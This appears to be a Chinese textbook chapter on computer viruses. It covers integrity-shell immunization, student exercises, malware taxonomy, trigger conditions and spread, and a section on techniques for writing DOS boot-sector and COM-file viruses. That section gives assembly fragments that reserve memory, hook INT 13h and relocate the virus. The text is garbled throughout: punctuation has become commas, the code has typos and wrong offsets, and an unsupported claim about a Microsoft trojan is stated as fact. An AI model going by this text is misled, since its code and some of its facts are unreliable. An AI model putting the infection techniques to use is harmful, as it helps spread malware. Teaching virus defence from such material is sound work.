( 5)这种方法能阻止传染,却不能阻止病毒的破坏行为,仍然放任病毒驻留在内存中。 目前使用这种免疫方法的商品化反病毒软件已不多见了。
3,基于自我完整性检查的计算机病毒免疫方法这种方法的原理是,为可执行程序增加一个免疫外壳,同时在免疫外壳中记录有关用于恢复自身的信息。免疫外壳占 1KB~ 3KB。
执行具有这种免疫功能的程序时,首先运行免疫外壳,检查程序自身的大小、校验和、生成日期和时间等情况,无发现异常,再转去执行受保护的程序。这种免疫方法可以看作是一种通用的自我完整性检验方法,不论什么原因使这些程序本身的特性受到改变或破坏,
免疫外壳都可以检查出来,并发出告警,并在大多数情况下能使之复原。此外还提供可供用户选择的回答:自毁、重新引导启动计算机、自我恢复到未受改变前的情况和继续操作。
但是,这种方法也存在一些缺点和不足:
( 1) 每个受到保护的文件都要增加 1KB~ 3KB,增加额外的存储开销 。
( 2) 现在使用的一些校验码算法不能满足防病毒的需要,被某些种类的病毒感染的文件不能被检查出来 。
( 3) 目前这种方法只能用于文件病毒而不能用于引导扇区病毒,
也无法对付覆盖方式的文件型病毒 。
( 4) 有些类型的文件外加免疫外壳后便不能正常执行 。 这些文件不能采用这种防护方法 。
( 5)当某些尚不能被病毒检测软件检查出来的病毒感染了一个文件,而该文件又被免疫外壳包在里面时,这个病毒就象穿了,保护盔甲,,使查毒软件查不到它,而它却能在得到运行机会时跑出来继续传染扩散。
习 题
1,收集充分的证据,论述计算机病毒的特征 。
2,收集资料,解析下列病毒的关键技术
( 1),求职信,病毒
( 2),主页,病毒
( 3),欢乐时光,病毒
( 4),爱虫,病毒
( 5),美丽杀,病毒
( 6),万花谷,病毒
( 7),红色代码,病毒
3,收集资料,解析一种最新病毒的关键技术 。
4,总结现代病毒技术及其发展趋势。
5,分析蠕虫与病毒的区别,收集资料,解析下面蠕虫的关键技术 。
( 1) 蠕虫王
( 2) 震荡波
6,比较病毒,蠕虫和木马之间的异同 。
7,讨论现代病毒技术的发展趋势 。
8,讨论现代病毒检测技术的发展趋势 。
9,收集资料,讨论针对当前 3种流行病毒的查,杀和感染后的恢复方法 。
10,收集资料,讨论针对当前 3种流行蠕虫的查,杀和感染后的恢复方法 。
11,收集资料,讨论针对当前 3种流行木马的防范及清除策略 。
12,讨论现代反病毒技术的发展趋势 。
13,讨论现代计算机病毒免疫技术的发展趋势和技术特点 。
14,写出 5种常用反病毒软件的特点及其使用方法 。
15,尽量多地列出恶意程序的种类、特点、危害和防范策略。
1.1 计算机病毒的概念
1.2 计算机病毒原理
1.3 计算机病毒编制的关键技术
1.4 蠕虫
1.5 木马
1.6 病毒对抗技术计算机病毒是恶意程序的一种。所谓恶意程序,
是指一类特殊的程序,它们通常在用户不知晓也未授权的情况下潜入到计算机系统中来。恶意程序可以分为许多类型。图 1.1为按照有无自我复制功能和需要不需要宿主对恶意程序的分类情形。
陷门 ( Trap Doors) 是进入程序的一些秘密入口 。
陷门中有些是程序员为了进行调试和测试而预留的一些特权,有些则是系统漏洞 。 黑客也挖空心思地设计陷门,
以便以特殊的,不经授权的方式进入系统 。 陷门通常寄生于某些程序 ( 有宿主 ),但无自我复制功能 。
逻辑炸弹是嵌入某些合法程序的一段代码,没有自我复制功能,在某些条件下会执行一个有害程序,造成一些破坏 。
特洛伊木马是计算机网络中一种包含有害代码的有用或表面上有用的程序或过程,激活时产生有害行为。
它们不具备自我复制功能。
细菌是以自我繁殖为主要目的的程序 。
蠕虫是一种通过网络自我复制的恶意程序 。 通常人们也把它称为病毒的一种 。 因为,蠕虫一旦被激活,可以表现得像细菌和病毒,可以向系统注入特洛伊木马,或进行任何次数的破坏或毁灭行动 。 典型的蠕虫只会在内存维持一个活动副本 。 此外,蠕虫是一个独立程序,自身不改变任何其他程序,但可以携带具有改变其他程序的病毒 。
其中,计算机病毒是所有计算机用户在计算机安全问题上,经常碰到的问题。在 1999年 Security Poral的报告中,
排在计算机安全问题第一位的是计算机病毒事件,其次是与计算机病毒关系极为密切的黑客问题。所以本章以病毒为主,介绍恶意程序的特点及其防治。
1.1 计算机病毒的概念返回
1.1.1 计算机病毒的定义人类发明了工具,改变了世界,也改变了人类自己。
自 20世纪 40年代起,计算技术与电子技术的结合,使推动人类进步的工具从体力升华到了智力。计算机的出现,将人类带进了信息时代,使人类生产力进入了一个特别的发展时期。
计算机的灵魂是程序 。 正是建立在微电子载体上的程序,才将计算机的延伸到了人类社会的各个领域 。,成也萧何,败也萧何,。 人的智慧可以创造人类文明,也可以破坏人类已经创造的文明 。 随着计算机系统设计技术向社会各个领域急剧扩展,人们开发出了将人类带入信息时代的计算机程序的同时,也开发出了给计算机系统带来副作用的计算机病毒程序 。
在生物学界,病毒 ( virus) 是一类没有细胞结构但有遗传,复制等生命特征,主要由核酸和蛋白质组成的有机体 。
在《中华人民共和国计算机信息系统安全保护条例》中,计算机病毒 (Computer Virus)被明确定义为:
,计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据、影响计算机使用,并且能够自我复制的一组计算机指令或者程序代码,。
1.1.2 计算机病毒的特征计算机病毒有一些与生物界中的病毒极为相似的特征,
这也就是所以称其为病毒的缘由 。 这些特征有如下一些 。
1,传染性和衍生性病毒也是一种程序,它与其他程序的显著不同之处,
就是它的传染性 。 与生物界中的病毒可以从一个生物体传播到另一个生物体一样,计算机病毒可以借助各种渠道从已经感染的计算机系统扩散到其他计算机系统 。
早在 1949年,计算机的先驱者 Von Neumann 就在他的论文《复杂自动机组织论》中,提出了计算机程序在内存中自我复制的设想,勾画了病毒程序的蓝图。 1977年夏天,美国作家托马斯 ·捷 ·瑞安在其幻想小说,P-1的青春》
一书中构思了一种能够自我复制的计算机程序,第一次使用了,计算机病毒,的术语。所以自我复制应当是计算机病毒的主要特征。
20世纪 60年代初,美国贝尔实验室里,三个年轻的程序员编写了一个名为,磁芯大战,的游戏,
游戏中通过复制自身来摆脱对方的控制,这就是计算机,病毒,的雏形 。
1983年美国计算机专家弗雷德 ·科恩博士研制出一种在运行过程中可以自我复制的具有破坏性的程序,
并在同年 11月召开的国际计算机安全学术研讨会,
首次将病毒程序在 VAX/750计算机上进行了实验。
世界上第一个计算机病毒就这样出生在实验室中。
20世纪 80年代初,计算机病毒(如,巴基斯坦智囊,
病毒)主要感染软盘的引导区。 20世纪 80年代末,出现了感染硬盘的病毒(如,大麻,病毒)。 20世纪 90
年代初,出现了感染文件的病毒(如,Jerusalem,黑色 13号星期五,病毒)。接着出现了引导区和文件型
,双料,病毒,既感染磁盘引导区又感染可执行文件。
20世纪 90年代中期,称为,病毒生产机,的软件开始出现,使病毒的传播不再是简单的自我复制,而是可以自动、轻易地自动生产出大量的,同族,新病毒。
这些病毒代码长度各不相同,自我加密、解密的密钥也不相同,原文件头重要参数的保存地址不同,病毒的发作条件和现象不同。
1995年大量具有相同,遗传基因,的,同族,病毒的涌现,标志着,病毒生产机,软件已出现 。 目前国际上已有上百种,病毒生产机,软件 。 这种,病毒生产机,软件不用绞尽脑汁地去编程序,便可以轻易地自动生产出大量的,同族,新病毒 。 这些病毒代码长度各不相同,自我加密,解密的密钥也不相同,原文件头重要参数的保存地址不同,病毒的发作条件和现象不同,但主体构造和原理基本相同 。 这就是病毒的衍生性 。
与此同时,Internet的发展,也为病毒的快速传播提供了方便途径。
2,潜伏性和隐蔽性计算机病毒通常是由技术高超者编写的比较完美的,
精巧严谨,短小精悍的程序 。 它们常常按照严格的秩序组织,与所在的系统网络环境相适应,相配合 。 病毒程序一旦取得系统控制权,可以在极短的时间内传染大量程序 。 但是,被感染的程序并不是立即表现出异常,而是潜伏下来,等待时机 。
除了不发作外,计算机病毒的潜伏还依赖于其隐蔽性。为了隐蔽,病毒通常非常短小(一般只有几百或 1K
字节,此外还寄生于正常的程序或磁盘较隐蔽的地方,
也有个别以隐含文件形式存在,使人不经过代码分析很难被发觉。
20世纪 90年代初,计算机病毒开始具有对抗机制。例如 Yankee Doole病毒,当它发现有人用 Debug工具跟踪它,
就会自动从文件中逃走。此外还相继出现了一些能对自身进行简单加密的病毒,如 1366(DaLian),1824(N64)、
1741(Dong),1100等。加密的目的主要是防止跟踪或掩盖有关特征等。例如在 内存 有 1741病毒时,用 DIR列目录表,病毒会掩盖被感染文件所增加的字节数,使人看起来字节数很正常。
3,寄生性
( 1) 病毒的寄生场所寄生是病毒的重要特征 。 计算机病毒一般寄生在以下地方:
( a) 寄生在可执行程序中 。 一旦程序执行,病毒就被激活,病毒程序首先被执行并常驻内存,然后置触发条件 。 感染的文件被执行后,病毒就会趁机感染下一个文件 。
文件型病毒可以分为源码型病毒、嵌入型病毒和外壳型病毒。
源码型病毒是用高级语言编写的,不进行编译、链接,就无法传染扩散。嵌入型病毒是嵌入在程序的中间,只能针对某些具体程序。
外壳型病毒寄生在宿主程序的前面或后面,并修改程序的第 1条指令,使病毒先于宿主程序执行,以便一执行宿主程序就传染一次。
( b) 寄生在硬盘的主引导扇区中。这类病毒也称引导型病毒。任何操作系统都有自举过程,自举依靠引导模块进行,而操作系统的引导模块总是放在某个固定位置,这样系统每次启动就会在这个固定的地方来将引导模块读入内存,紧接着就执行它,来把操作系统读入内存,实现控制权的转接。引导型病毒程序就是利用这一点,它自身占据了引导扇区而将原来的引导扇区的内容和病毒的其他部分放到磁盘的其他空间,
并将这些扇区标志为坏簇,不可写其他信息。这样,
系统的一次初始化,就激活一次病毒,它首先将自身拷贝到内存,等待触发条件到来。
引导型病毒按其寄生对象,可以分为 MBR( 主引导区)病毒和 BR( 引导区)病毒。 MBR病毒也称分区病毒,这类病毒寄生在硬盘分区主引导程序所占据的硬盘 0头 0柱面第 1扇区,典型的有 Stoned( 大麻)病毒、
2708病毒等。 BR病毒则寄生在硬盘逻辑 0扇区或软盘 0
扇区(即 0面 0道的第 1扇区),典型的有 Brain病毒、
小球病毒等。
( 2) 计算机病毒的寄生方式
( a) 替代法:病毒程序用自己的全部或部分代码,
替代磁盘引导扇区或文件中的全部或部分内容 。
( b) 链接法:病毒程序将自身代码作为正常程序的一部分与原有正常程序链接在一起。链接的位置可能在正常程序的首部、尾部或中间。
4,触发性潜伏下来的计算机病毒一般要在一定的条件下才被激活,发起攻击。病毒具有判断这个条件的功能。
5,非授权执行性用户在调用一个程序时,常常就把系统的控制权交给这个程序并给它分配相应的系统资源,使程序的执行对用户是透明的。计算机病毒具有正常程序所具有的一切特性,
它隐蔽在合法程序和数据中;当用户运行正常程序时,病毒伺机取得系统的控制权,先于正常程序执行,并对用户呈透明状态。
6,破坏性计算机病毒的设计者进行病毒程序设计的目的就是为了攻击破坏 。 下面对病毒的破坏性进行分类介绍 。
( 1) 病毒破坏的能力按照病毒的破坏能力,可将病毒划分为以下几种:
· 无害型:除了传染时减少磁盘的可用空间外,对系统没有其它影响 。
· 无危险型:这类病毒仅仅是减少内存,显示图像,
发出声音及同类音响 。
· 危险型:这类病毒在计算机系统操作中造成严重的错误 。
· 非常危险型:这类病毒删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。
( 2) 病毒的入侵方式
( a) 源代码嵌入攻击型这类病毒主要入侵高级语言的源程序 。 病毒在源程序编译之前就插入进来,最后随源程序一起被编译成带毒可执行文件 。 这类带毒文件是极少数,因为这些病毒开发者不可能轻易得到那些软件开发公司编译前的源程序,并且入侵的方式难度较大,需要非常专业的编程水平 。
( b) 代码取代攻击型这类病毒主要是用它自身的代码取代某个入侵程序或该程序的部分模块。这类病毒也少见,它主要是攻击特定的程序,针对性较强,但是不易被发现,清除起来也较困难。
( c) 系统修改型这类病毒主要是用自身代码覆盖或修改系统中的某些文件来达到调用或替代操作系统中的部分功能,由于是直接感染系统,危害较大,也是最为多见的一种病毒类型,多为文件型病毒 。
( d) 外壳附加型这类病毒通常附加在正常程序的头部或尾部,相当于给程序添加了一个外壳,在被感染的程序执行时,病毒代码先被执行,然后才将正常程序调入内存。目前大多数文件型的病毒属于这一类。
( 3) 病毒破坏性的表现
( a) 占用 CPU资源,额外占用或消耗内存空间,或禁止分配内存,
蚕食内存,导致一些大型程序执行受阻,使系统性能下降 。
( b) 干扰系统运行,例如不执行命令,干扰内部命令的执行,虚发报警信息,打不开文件,内部栈溢出,占用特殊数据区,时钟倒转,重启动,死机,文件无法存盘,文件存盘时丢失字节,内存减小,格式化硬盘等 。
( c) 攻击 CMOS。 CMOS是保存系统参数 ( 如系统时钟,磁盘类型,
内存容量等 ) 的重要场所 。 有的病毒 ( 如 CIH病毒 ) 可以通过改写
CMOS参数,破坏系统硬件的运行 。
( d) 攻击系统数据区。硬盘的主引导扇区,boot( 引导)扇区、
FAT( 文件分配)表、文件目录等,是系统重要的数据,这些数据一旦受损,将造成相关文件的破坏。
( e) 干扰外部设备运行,如
· 干扰键盘操作 。 如 EDV病毒能封锁键盘,使按任何键都没有反应;还有病毒产生换字,抹掉缓存区字符,输入紊乱等 。
· 干扰屏幕显示 。 如小球病毒产生跳动的小白点;瀑布病毒使显示的字符像雨点一样一个个落到屏幕底部等 。
· 干扰声响 。 如感染 Attention病毒后,每按一键,喇叭就响一声; Yankee Doodle病毒在每天 下午 5时整会播 出歌曲
,Yankee Doodle” ; 救护车病毒 ( Ambulance Car) 会在屏幕上出现一辆鸣着警笛来回跑的救护车 。
· 干扰打印机。如 Azsua病毒可以封锁打印机接口 LPT1,当使用打印机时,会发出缺纸的假报警; 1024SBC病毒会使打印机出现断断续续的打印失常; Typo-COM病毒会更换字符。
( f) 攻击文件 。 现在发现的病毒中,大多数是文件型病毒 。 这些病毒会使染毒文件的长度,文件存盘时间和日期发生变化 。 例如,
百年病毒,4096病毒等 。
( g) 劫取机密数据 。 例如,微软公司在它的 Microsoft Network中加入一种特洛伊木马程序,会把用户系统软件和硬件的完整清单送回到微软公司 。
( h) 破坏网络系统的正常运行 。 例如发送垃圾邮件,占用带宽,
使网络拒绝服务等 。
有些病毒的破坏作用往往是多样的。
1.1.3 计算机病毒的结构计算机病毒的种类很多,但是它们的主要结构是类似的,
一般需要包含 4部分:引导部分,传染部分,表现部分和破坏部分 。
( 1) 引导部分:就是病毒程序的初始化部分 。 它的作用是将病毒的主体加载到内存,为传染部分做准备 ( 如驻留内存,修改中断,修改高端内存,保存原中断向量等操作 ) 。
( 2) 传染部分:作用是将病毒代码复制到传染目标上去 。
传染需要一定的条件 。 不同类型的病毒在传染方式,传染条件上各不相同 。 进行传播之前,先要判断传染条件 。
( 3) 表现部分:作用是在被传染系统上表现出特定现象 。
大部分病毒都是在一定条件下才会触发表现部分的 。
( 4)破坏部分:作用是产生破坏被传染系统的行为。
1.2 计算机病毒原理返回
1.2.1 计算机病毒的引导过程计算机病毒的引导过程一般分为三步:驻留内存,窃取控制权和恢复系统功能 。
1,驻留内存病毒要发挥其破坏作用,多数要驻留内存 。 为了驻留内存,
就必须开辟内存空间或覆盖系统占用的部分内存空间 。
2,窃取控制权计算机病毒驻留内存后,接下来的工作是取代或扩充系统原有功能,并窃取系统的控制权 。
3,恢复系统功能计算机病毒窃取系统控制权后,就要开始潜伏等待,即根据其设计思想,隐蔽自己,等待时机,在条件成熟时,再进行传染和破坏。然而,病毒为了隐蔽自己,驻留内存后还要恢复系统,使系统不致死机。
1.2.2 计算机病毒的触发机制下面例举一些病毒的触发 ( 激活 ) 条件 。
( 1) 日期 /时间触发:计算机病毒读取系统时钟,判断是否激活 。
例如:
PETER-2,在每年 2月 27日会提出 3个问题,答错后会将硬盘加密 。
Yankee Doodle,在每天下午 5时发作 。
,黑色星期五,,逢 13日的星期五发作 。
,上海一号,,在每年的三,六,九月的 13日发作 。
1998年 2月,台湾省的陈盈豪,编写出了破坏性极大的 Windows恶性病毒 CIH-1.2版,并定于每年的 4月 26日发作破坏,然后,悄悄地潜伏在网上的一些供人下载的软件中。可是,两个月的时间,被人下载的不多,到了 4月 26日,病毒只在台湾省少量发作,并没引起重视。陈盈豪又炮制了 CIH-1.3版,并将破坏时间设在 6月 26日。 7月,
又炮制出了 CIH-1.4版。这次,他干脆将破坏时间设为每个月的 26日。
( 2) 计数器触发:计算机病毒内部设定一个计数单元,对系统事件进行计数,判定是否激活 。 例如,2708病毒当系统启动次数达到 32次时被激活,发起对串,并口地址的攻击 。
( 3) 键盘触发:当敲入某些字符时触发 ( 如 AIDS病毒,在敲如 A,I,D,S时发作 ),或以击键次数 ( 如 Devil‘s Dance病毒在用户第 2000次击键时被触发 ) 或组合键等为激发条件
( 如 Invader病毒在按下 Ctrl+Alt+Del键时发作 ) 。
( 4) 启动触发:以系统的启动次数作为触发条件 。 例如
Anti-Tei和 Telecom病毒当系统第 400次启动时被激活 。
( 5) 感染触发:以感染文件个数,感染序列,感染磁盘数,
感染失败数作为触发条件 。 例如,Black Monday病毒在运行第 240个染毒程序时被激活; VHP2病毒每感染 8个文件就会触发系统热启动操作等 。
( 6)组合条件触发:用多种条件综合使用,作为计算机病毒的触发条件。
1.2.3 计算机病毒的传播计算机病毒的传播过程就是其传染过程 。
病毒的传染大体上有如下三个途径:
1,文件传染传播病毒的文件可以分为三类:
( 1) 可执行文件,即扩展名为,EXE,.PE,.SYS等的文件 。
( 2) 文档文件或数据文件,例如 Word文档,Exel文档,
Accss数据库文件 。 宏病毒 ( Macro) 就感染这些文件 。
( 3) Web文档,如,html文档和,htm文档。已经发现的
Web病毒有 HTML/Prepend和 HTML/Redirect等。
文件传染可能采用如下一种方式:
( 1) 驻留 ( Resident) 复制:复制病毒装入内存后,发现另一个系统运行的程序文件后进行传染 。
( 2)非驻留( Nonrresident) 复制:病毒选择磁盘上一个或多个文件,不等它们装入内存,就直接进行感染。
2,引导扇区传染引导扇区病毒在系统初始化时自动装入内存,然后简单地将指令指针 ( 指令计数器的内容 ) 修改到一个存储系统指令的新的位置 。 于是便以普通方式启动,而病毒已经驻留在了内存 。
所以,不需要用户执行磁盘上任何被感染的程序,只要有访问磁盘的操作,
就可以进行复制 。
3,网络及电子邮件传播与文件传播和引导扇区传播不同,由于数据共享和相互协作网络传播的是病毒直接通过网络传染到目标机系统。
1.3 计算机病毒编制的关键技术返回
1.3.1 DOS引导型病毒编制的关键技术
1,DOS系统的结构
DOS系统由以下 4部分组成:
( 1) 引导记录 ( Boot Record) 。 用于将 IO.SYS模块装入内存 。
( 2) IO.SYS( DOS的基本输入输出模块 BIOS),由下面两块组成:
·系统初始化程序 SYSINIT,完成初始化工作,主要包括:确定系统设备配置和内存容量;初始化串,
I/O并口;计算后面模块的装入位置并将 MSDOS.SYS
和 COMMAND.COM装入内存;设置系统参数,加载设置驱动程序 。
·标准字符和块设备驱动程,用于支持基本输入输出操作 。
( 3) MSDOS.SYS( DOS的内核 ),提供应用程序管理,
内存管理,文件管理等 。
( 4) COMMAND.COM( DOS的外壳),是用户与操作系统的接口。
2,DOS磁盘的区域分配
DOS格式化磁盘由 4个区域组成:引导扇区 ( Boot Area) ——硬盘含有主引导扇区,文件分配表 ( FAT),根目录表 ( Root
Directory Table,FDT) 和文件数据区 ( Data Area) 。
表 1.1为 DOS格式化磁盘的区域组成 。 其中;
逻辑区号 = [柱面号×总面积 +面号 ]×每到扇区数 +扇区号表 1.1 DOS格式化磁盘的区域组成。
360k软盘分布 起始物理扇区 20M硬盘分布逻辑扇区号对应区域头号 柱面号 扇区号 逻辑扇区号对应区域
0
1~4
5~11
12~719
BOOT区
FAT表根目录表数据区
0
1
1
1
3
0
0
0
1
1
1
1
2
16
14
0
1~82
83~114
115~41598
主引导区
BOOT区 FAT
表根目录表数据区
( 1)主引导扇区,位于硬盘的 0柱面 0磁道 1扇区,存放有主引导记录( Mian BootRecord,MBR) 和 4个分区表( Disk Partition Table,
DPT)。 图 1.2为主引导扇区的结构。
区域 信息内容
0000H ~ 00BAH 主引导记录启动程序
008BH ~ 00D9H 主引导记录启动字符串
01DAH ~ 01BDH 空闲区
01BEH ~ 01CDH 分区 1结构信息
01CEH ~ 01DDH 分区 1结构信息
01DEH ~ 01FDH 分区 1结构信息
01EEH~ 01FDH 分区 1结构信息
01FEH ~ 01FFH 55AAH主引导记录有效标志
MBR的作用是检查分区表是否正确以及确定哪个分区为引导分区
(要将控制权交给的操作系统所在分区),并在程序结束时把该分区的启动程序(即操作系统引导扇区)调入内存加以执行。
( 2)引导扇区位于逻辑 0扇区处(即软盘的 0面 0道 1扇区,
硬盘的 DOS分区的 1扇区)。在 DOS的启动过程中,中断服务程序 INT 19H( 自举程序)将引导记录 调入内存的
0000H~7C00H处,并把控制权交给它。这时,引导记录将检查启动盘上是否有 DOS系统,即根目录中的前两个文件是否为 IO.SYS和 MSDOS.SYS。 若是,则把文件 IO.SYS
读入到内存的 70H~0H处,并把主控制权交给 IO.SYS; 否则给出非系统盘的错误信息。
3,DOS的自举过程图 1.3为 DOS的自举过程 。 可以看出,在这个自举过程中,系统的控制权按照下面的顺序转移:
ROMBIOS→ DOS引导程序
→ IO.SYS→ MSDOS.SYS→COMMAND.COM→ 用户主引导记录程序的基本功能是读出自举分区的 BOOT程序,并把控制权转移到分区 BOOT程序 。 在这一过程中,关键性的技术有:
( 1) 将本来要读入到 0000:7C00H处的硬盘主引导记录程序转移到
0000:0600H处 。 代码段如下:
偏移 机器码 符号指令 说明
0000 FA cli ; 屏蔽中断
0001 33C0 xor ax,ax ;
0003 8ED0 mov ss,ax ; ( ss) =0000H
0005 BC007C mov sp,7c00 ; ( sp) = 7C00H
0008 8BF4 mov si,sp ; ( si) = 7C00H
000A 50 push ax ;
000B 07 pop es ; ( es) =0000H
000C 50 push ax ;
000D 1F pop ds ; ( ds) =0000H
000E FB sti ;
000F FC cld ;
0010 BF0006 mov di,0600 ;
0013 890001 mov cx,0100 ;
0016 F2 repnz ;
17 A5 movsw; 主引导程序把自己从 0000:7c00处搬移到 0000:0600处,; 为 DOS分区的引导程序腾出空间
…
( 2) 顺序读入 4个分区表的自举标志,以找出自举分区:若找不到,
就转向执行 INT 18H的 BOOT异常,执行异常中断程序 。
偏移 机器码 符号指令 说明
001D BEBE07 mov si,07be ; 分区表首地址 01BE=07BE-0600
0020 B304 mov bl,04 ; 最多 4个分区
0022 803C80 cmp byte ptr[si],80 ; 80H表示活动分区
0025 740E jz 0035 ; 找到活动分区则跳走
0027 803C00 cmp byte ptr[si],00 ; 00H表示有效分区
002A 751C jnz 0048 ; 非 80H,也非 00H,为无效分区
002C 83C610 add si,+10 ;下一个分区表项,每项 16( 10H) 字节
002F FECB dec bl ; 循环计数减 1
0031 75EF jnz 0022 ; 检查下一个分区表项
0033 CD18 int 18 ; 4个都不可引导,进入 ROM BIOS
0035 8B14 mov dx,[si]
0037 8B4C02 mov cx,[si+02] ;取分区的引导扇区的柱面,扇区活动
003A 8BEE mov bp,si ; 继续检查后面的分区表项
003C 83C610 add si,+10
…
( 3) 找到自举分区后,检测该分区的标志:如果是 32位或 16位 FAT,
并支持 13号中断的扩展功能,就转到执行 13号中断的 41号功能调用,
进行安装检测;检测成功,就执行 42号扩展功能调用,把 BOOT程序读入到内存 0000:7c00H处 。 读入成功,就执行 0000:7c00H处的程序;
读入失败,就调用 13号中断的读扇区功能,把 BOOT程序读入到内存
0000:7c00H处 。
4,引导型病毒的传染过程引导型病毒制驻留在硬盘的主引导分区或硬 /软盘的 DOS引导分区的病毒 。
它的感染过程分两大步:装入内存和攻击 。
( 1)装入内存过程:
1 系统开机后,进入系统检测,检测正常后,从 0面 0道 1扇区,即逻辑 0扇区读取信息到内存的 0000~7C00处:
·正常时,磁盘 0面 0道 1扇区,即逻辑 0扇区存放的是 boot引导程序;
·操作系统感染了引导扇区病毒时,磁盘 0面 0道 1扇区,即逻辑 0
扇区存放的是病毒引导部分,boot引导程序被放到其他地方。例如,
大麻病毒在软盘中将原 DOS引导扇区搬移到 0道 1面 3扇区,在硬盘中将原 DOS引导扇区搬移到 0道 0面 7扇区;香港病毒则将原 DOS引导扇区搬移到 39磁道第 8扇区; Michelangelo病毒在高密度软盘上,
是第 27扇区,在硬盘上是 0道 0面 7扇区。
2 系统开始运行病毒引导部分,将病毒的其他部分读入到内存的某一安全区,常驻内存,监视系统的运行 。
3 病毒修改 INT 13H中断服务处理程序的入口地址,使之指向病毒控制模块并执行,以便必要时接管磁盘操作的控制权 。
4 病毒程序全部读入后,接着读入正常 boot内容到内存 0000:7C00H
处,进行正常的启动过程 ( 这时病毒程序已经全不读入内存,不再需要病毒的引导部分 ) 。
5 病毒程序伺机等待随时感染新的系统盘或非系统盘。
( 2) 攻击过程 。 病毒程序发现有可攻击的对象后,要进行下列工作:
1 将目标盘的引导扇区读入内存,判断它是否感染了病毒 。
2 满足感染条件时,将病毒的全部或一部分写入 boot区,把正常的磁盘引导区程序写入磁盘特定位置 。
3 返回正常的 INT 13H中断服务处理程序,完成对目标盘的传染过程 。
5,引导型病毒的编制技术个人计算机开机后,会先执行主引导区代码这一机制,给引导型病毒窃取第一控制权提供了机会 。 但是引导型病毒窃取控制权的时间只能是短暂的,然后就要引导 DOS操作系统,否则就将败露 。 在窃取控制权的这段时间内,病毒的引导部分主要要做下列事情 。
( 1) 为病毒代码申请内存空间,为此要尽量减少 DOS的存储空间 。
相关代码如下:
…
xor ax,ax
move ss,ax
mov sp,7c00h
mov ds,ax
mov ax,word ptr ds:[413h] ; 存 放 最 大 内 存 空 间
0000:0413
sub ax,4 ; 给病毒申请 4kB的内存空间
mov ds:[413h],ax
…
( 2) 修改传播需要的中断向量 。 相关代码如下:
…
begin proc far
push ds ; axds:ax
sub ax,ax ;
push ax
mov ax,code ; 将代码段地址装入 ds,es
mov ds,ax
mov ex,ax
mov ax,seg ctrl_c ; 修改向量,ds:dx指向 ctrl_c子程序
mov ds,ax ;
mov dx,offset ctrl_c
mov ah,25h ; 调用号 ah=25H
mov al,23h ; 修改中断向量号 al=23H
int 21h ; 系统调用指令
…
( 3) 读入病毒的其他部分,进行病毒拼装 ( 在内存高端 ),先从已经标记的簇中某扇区读入病毒的其他部分 ( 这些簇往往被标记为坏簇 ),然后再读入原引导记录到 0000:7C00H处,跳转执行 。 相关代码如下:
mov cl,06h
shl ax,cl ; (ax)=8F80
add ax,0840h ; (ax)=97c0
move s,ax
mov si,7c00h ; (si)=7c00
mov di,si
mov cx,0100h
repz movsw ; 将病毒移到高端
v2,push ax
pop ds
push ax
mov bx,7c4bh
push bx
ret ; 指令执行转入高端内存
call v3
v3:xor ah,ah ; (ah)=0
int 13h ; 13H中断调用
mov ah,80h
and byte ptr ds:[7df8h],al ;
v4:mov bx,word ptr ds:[7df9h] ;读入病毒的其他部分
push cs
pop ax ; (ax)=97c0
sub ax,20h ; (ax)=97c0
move s,ax ; (es)=97c0
call v9
mov bx,word ptr ds:[7df9h] ; 加载逻辑扇区号
inc bx ; bx++是引导扇区
mov ax,0ffc0h ; ffc0:8000=0000:7c00读入原引导分区内容
move s,ax
call v9
xor ax,ax ; (ax)=0
mov byte ptr ds:[7df7h],al ; 标志清 0
v5,mov ds,ax ; (ds)=0
mov ax,word ptr ds:[4ch]
mov bx,word ptrds:[4ch] ; 修改中断向量
mov word ptr ds:[4ch],7cd6h
mov word ptr ds:[4ch],cs ; 新 int 13H中断已修改
push cs
pop ds ; (ds)=(cs)
mov word ptr ds:[7d30h]:ax ;保存原来的 int 13H中断向量
mov word ptr ds:[7d32h]:bx ;
v6,mov dl,byte ptr ds:[7df8h] ;加载驱动器盘符
v7,jmp 0000:7c00 ;跳转
db 0eah,00h,7ch,00h,00h ;跳转指令的二进制代码
( 4)读入原主引导分区,转去执行 DOS的引导工作。
1.3.2 COM文件型病毒编制的关键技术
1,COM文件的特点这里,文件型病毒主要指 DOS操作系统下的 COM和 EXE文件 。 首先介绍 COM文件病毒程序的编制技术 。
COM文件具有如下特点:
( 1) COM文件的存储代码与内存映像完全相同
COM文件是在 DOS外壳上直接运行处理器指令和内存数据。
为此,在 COM文件中要包含 COM程序的一个绝对映像(如图
1.4所示),并且 MS-DOS要把该映像直接拷贝到内存加载
COM程序,而不做任何改变。
( 2) COM文件的长度不能超过 65 024字节 。
COM文件是一种单段执行结构 。 如图 1.4所示,它要被分配在一个 64k字节的空间中 。 这个空间中除了要存放 COM文件外,
还要存放一个程序段前缀 PSP和一个起始堆栈 。 而 PSP的大小为 256字节,起始堆栈的最小空间为 256字节,所以 COM文件最大不能超过 65 024字节 。
( 3) COM文件的第 1条指令必须是程序的入口点。
2,COM文件的加载和启动
( 1) 分配内存:尽可能多地分配内存空间 。 在 DOS
运行另一个程序或分配另外的内存空间时,COM将释放不需要的空间 。
( 2) 分配内存成功后,DOS建立一个 PSP。 如果 PSP
的第 1个 FCB含有一个有效驱动器标识符,即置 AL为
00H; 否则置 AL为 0FFH
( 3) 在 PS后面 ( 偏移 100H) 加载 COM文件,同时置
SS,DS和 ES为 PSP的段地址 。
( 4) 建立堆栈 。
DOS通过把控制权传递给偏移 100H处的指令启动程序。
3,可执行文件病毒的传染过程
( 1) 文件病毒在宿主文件 (,com或,exe) 被执行时,驻留内存;
( 2) 病毒开始监视系统运行,等待被传染目标出现;
( 3) 病毒检测可执行文件的特定地址的标识位,判断该文件是否感染了病毒;
( 4) 发现了被感染目标后,利用 INT 13H将病毒链接到可执行文件的首部,尾部或中间,并存入磁盘中;
( 5)完成感染后,继续监视系统的运行,寻找新的目标。
4,文件型病毒程序编制技术文件型病毒可以加在 COM文件的前部,也可以加在 COM文件的尾部 。
不管加在何处,都可以利用 COM文件的第一条指令是程序的入口点,
使启动 COM程序前先执行病毒程序 。 方法就是对程序开始处的指令进行修改 。 例如,病毒程序加在最后,就应当把程序开始处的指令修改成一条跳转指令,跳转到病毒所在的位置 。 等病毒程序执行完,
再把控制权交还给 COM程序 。 当然,实际做的工作并不这么简单 。
下面是感染 COM文件的典型病代码 。
( 1) 修改了的文件头部代码
